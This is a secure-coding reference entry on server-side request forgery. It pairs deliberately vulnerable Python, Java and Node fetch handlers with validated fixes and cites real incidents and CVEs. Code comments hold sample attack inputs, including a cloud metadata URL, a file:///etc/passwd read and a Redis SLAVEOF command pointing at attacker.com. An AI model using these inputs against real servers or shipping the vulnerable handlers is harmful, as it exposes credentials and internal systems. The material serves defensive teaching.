Server-Side Request Forgery (SSRF)
Description
Server-Side Request Forgery (SSRF) occurs when a web application fetches a remote resource without validating the user-supplied URL. This allows attackers to coerce the application to send requests to an unexpected destination, even when protected by a firewall, VPN, or network access control list. Attackers can abuse SSRF to access internal services, cloud metadata endpoints, read local files (using file:// protocol), port scan internal networks, or interact with internal APIs. SSRF has become increasingly critical with cloud deployments where metadata services contain sensitive credentials.
Risk
SSRF is ranked in the CWE Top 25 and OWASP Top 10. CVE-2024-43394 in Apache HTTP Server allows SSRF that triggers SMB connections to attacker-controlled hosts, capturing NTLM authentication hashes for offline cracking or relay attacks. CVE-2025-59775 in Apache HTTP Server enables SSRF when AllowEncodedSlashes is enabled. CVE-2025-47437 in LiteSpeed Cache allows authenticated users to make server-side requests to internal resources. The Capital One breach exploited SSRF to access AWS metadata services, exposing 100+ million records. Tesla cryptojacking incidents used SSRF to access internal cloud infrastructure.
Solution
Validate and sanitize all user-supplied URLs. Implement allowlists for permitted domains and protocols. Block requests to private IP ranges (10.x.x.x, 172.16-31.x.x, 192.168.x.x, 127.x.x.x, 169.254.x.x). Disable unnecessary URL schemes (file://, gopher://, dict://). Use DNS resolution validation to prevent DNS rebinding. Implement network segmentation to limit SSRF impact. Block access to cloud metadata endpoints (169.254.169.254). Use IMDSv2 on AWS which requires session tokens. Monitor for unusual outbound connections.
Common Consequences
| Impact | Details |
|---|---|
| Confidentiality | Scope: Internal Data Exposure Attackers can read data from internal services, cloud metadata, and local files. |
| Integrity | Scope: Internal Service Manipulation SSRF can be used to modify data on internal services or trigger actions. |
| Access Control | Scope: Firewall Bypass Attackers bypass network security controls by using the server as a proxy. |
Example Code + Solution Code
Vulnerable Code
# VULNERABLE: Fetching user-provided URL without validation
import requests
from flask import Flask, request
@app.route('/fetch')
def fetch_url():
url = request.args.get('url')
# Attacker provides: url=http://169.254.169.254/latest/meta-data/
# Server fetches AWS metadata containing credentials!
response = requests.get(url)
return response.text
# VULNERABLE: Webhook with no URL validation
@app.route('/webhook', methods=['POST'])
def create_webhook():
webhook_url = request.json['callback_url']
# Store and later call this URL - could be internal service!
save_webhook(webhook_url)
return 'Webhook registered'
# VULNERABLE: Image proxy without validation
@app.route('/proxy/image')
def proxy_image():
image_url = request.args.get('url')
response = requests.get(image_url)
return response.content, 200, {'Content-Type': 'image/png'}
// VULNERABLE: URL fetcher without validation
@RestController
public class UrlFetcherController {
@GetMapping("/fetch")
public String fetchUrl(@RequestParam String url) throws Exception {
// Attacker: url=file:///etc/passwd
URL urlObj = new URL(url);
HttpURLConnection conn = (HttpURLConnection) urlObj.openConnection();
return new String(conn.getInputStream().readAllBytes());
}
}
// VULNERABLE: PDF generator with external resources
@PostMapping("/generate-pdf")
public byte[] generatePdf(@RequestBody PdfRequest request) {
// Attacker includes: <img src="http://internal-api/admin/users">
// PDF engine fetches internal URL!
return pdfGenerator.generate(request.getHtml());
}
// VULNERABLE: Server-side fetch of user URL
app.get('/preview', async (req, res) => {
const url = req.query.url;
// Attacker: url=http://localhost:6379/SLAVEOF+attacker.com+6379
// Redis command injection via SSRF!
const response = await fetch(url);
const html = await response.text();
res.send(html);
});
// VULNERABLE: Avatar URL without validation
app.post('/profile', async (req, res) => {
const avatarUrl = req.body.avatarUrl;
// Download and save avatar - could be internal URL
const avatar = await fetch(avatarUrl);
await saveAvatar(req.user.id, await avatar.buffer());
res.json({ success: true });
});
Fixed Code
# SAFE: URL validation with allowlist and blocklist
import requests
import ipaddress
from urllib.parse import urlparse
import socket
ALLOWED_SCHEMES = {'http', 'https'}
ALLOWED_DOMAINS = {'api.example.com', 'cdn.example.com'}
BLOCKED_IP_RANGES = [
ipaddress.ip_network('10.0.0.0/8'),
ipaddress.ip_network('172.16.0.0/12'),
ipaddress.ip_network('192.168.0.0/16'),
ipaddress.ip_network('127.0.0.0/8'),
ipaddress.ip_network('169.254.0.0/16'), # AWS metadata
ipaddress.ip_network('0.0.0.0/8'),
]
def is_safe_url(url):
"""Validate URL is safe to fetch."""
try:
parsed = urlparse(url)
# Check scheme
if parsed.scheme not in ALLOWED_SCHEMES:
return False, "Invalid scheme"
# Check against allowlist (if using allowlist approach)
if ALLOWED_DOMAINS and parsed.hostname not in ALLOWED_DOMAINS:
return False, "Domain not allowed"
# Resolve hostname to IP and check against blocklist
try:
ip = ipaddress.ip_address(socket.gethostbyname(parsed.hostname))
except (socket.gaierror, ValueError):
return False, "Cannot resolve hostname"
for blocked_range in BLOCKED_IP_RANGES:
if ip in blocked_range:
return False, "IP address blocked"
return True, None
except Exception as e:
return False, str(e)
@app.route('/fetch')
def fetch_url_safe():
url = request.args.get('url')
is_safe, error = is_safe_url(url)
if not is_safe:
return f'Invalid URL: {error}', 400
# Use timeout and disable redirects to prevent SSRF via redirect
response = requests.get(url, timeout=5, allow_redirects=False)
# Re-validate if redirect
if response.is_redirect:
return 'Redirects not allowed', 400
return response.text
# SAFE: Webhook with strict domain validation
@app.route('/webhook', methods=['POST'])
def create_webhook_safe():
webhook_url = request.json['callback_url']
is_safe, error = is_safe_url(webhook_url)
if not is_safe:
return f'Invalid callback URL: {error}', 400
save_webhook(webhook_url)
return 'Webhook registered'
// SAFE: URL validation with IP blocklist
@RestController
public class SecureUrlFetcherController {
private static final Set<String> ALLOWED_SCHEMES = Set.of("http", "https");
private static final List<String> BLOCKED_PREFIXES = List.of(
"10.", "172.16.", "172.17.", "172.18.", "172.19.",
"172.20.", "172.21.", "172.22.", "172.23.", "172.24.",
"172.25.", "172.26.", "172.27.", "172.28.", "172.29.",
"172.30.", "172.31.", "192.168.", "127.", "169.254.", "0."
);
@GetMapping("/fetch")
public String fetchUrlSafe(@RequestParam String url) throws Exception {
URL urlObj = new URL(url);
// Validate scheme
if (!ALLOWED_SCHEMES.contains(urlObj.getProtocol().toLowerCase())) {
throw new SecurityException("Invalid URL scheme");
}
// Resolve and validate IP
InetAddress address = InetAddress.getByName(urlObj.getHost());
String ip = address.getHostAddress();
for (String prefix : BLOCKED_PREFIXES) {
if (ip.startsWith(prefix)) {
throw new SecurityException("Blocked IP address");
}
}
// Additional check for loopback
if (address.isLoopbackAddress() || address.isLinkLocalAddress()) {
throw new SecurityException("Local addresses not allowed");
}
// Fetch with timeout
HttpURLConnection conn = (HttpURLConnection) urlObj.openConnection();
conn.setConnectTimeout(5000);
conn.setReadTimeout(5000);
conn.setInstanceFollowRedirects(false);
return new String(conn.getInputStream().readAllBytes(), StandardCharsets.UTF_8);
}
}
// SAFE: PDF generation with sanitized content
@PostMapping("/generate-pdf")
public byte[] generatePdfSafe(@RequestBody PdfRequest request) {
// Parse and sanitize HTML - remove external resources
String sanitizedHtml = htmlSanitizer.sanitize(request.getHtml(),
HtmlPolicy.NO_EXTERNAL_RESOURCES);
return pdfGenerator.generate(sanitizedHtml);
}
// SAFE: Server-side fetch with comprehensive validation
const { URL } = require('url');
const dns = require('dns').promises;
const ipaddr = require('ipaddr.js');
const BLOCKED_RANGES = [
'private', // 10.x, 172.16-31.x, 192.168.x
'loopback', // 127.x
'linkLocal', // 169.254.x
'uniqueLocal', // fc00::/7
];
async function isUrlSafe(urlString) {
try {
const url = new URL(urlString);
// Check scheme
if (!['http:', 'https:'].includes(url.protocol)) {
return { safe: false, reason: 'Invalid protocol' };
}
// Resolve DNS
const addresses = await dns.resolve4(url.hostname);
for (const addr of addresses) {
const ip = ipaddr.parse(addr);
const range = ip.range();
if (BLOCKED_RANGES.includes(range)) {
return { safe: false, reason: `Blocked IP range: ${range}` };
}
}
return { safe: true };
} catch (error) {
return { safe: false, reason: error.message };
}
}
app.get('/preview', async (req, res) => {
const url = req.query.url;
const validation = await isUrlSafe(url);
if (!validation.safe) {
return res.status(400).json({ error: validation.reason });
}
try {
const response = await fetch(url, {
timeout: 5000,
redirect: 'error' // Don't follow redirects
});
const html = await response.text();
res.send(html);
} catch (error) {
res.status(400).json({ error: 'Failed to fetch URL' });
}
});
Exploited in the Wild
Capital One Data Breach (Capital One, 2019)
Attackers exploited SSRF through a misconfigured WAF to access AWS metadata services at 169.254.169.254, retrieving IAM credentials that provided access to S3 buckets containing personal information of 100+ million customers.
Apache HTTP Server NTLM Hash Capture (Apache, 2024)
CVE-2024-43394 in Apache HTTP Server 2.4.0-2.4.63 on Windows allows SSRF that triggers SMB connections to attacker-controlled hosts, enabling capture of NTLM authentication hashes for cracking or relay attacks.
LiteSpeed Cache SSRF (LiteSpeed, 2025)
CVE-2025-47437 in LiteSpeed Cache up to 7.0.1 allows authenticated users with low privileges to make server-side requests to internal or external resources without requiring user interaction.
Tools to test/exploit
-
SSRFmap — automated SSRF exploitation tool.
-
Gopherus — generate gopher payloads for SSRF.
-
Burp Collaborator — detect blind SSRF.
CVE Examples
-
CVE-2024-43394 — Apache HTTP Server SSRF to SMB.
-
CVE-2025-47437 — LiteSpeed Cache SSRF.
-
CVE-2021-21972 — VMware vCenter Server SSRF to RCE.
References
-
MITRE. "CWE-918: Server-Side Request Forgery (SSRF)." https://cwe.mitre.org/data/definitions/918.html
-
OWASP. "Server-Side Request Forgery Prevention Cheat Sheet." https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html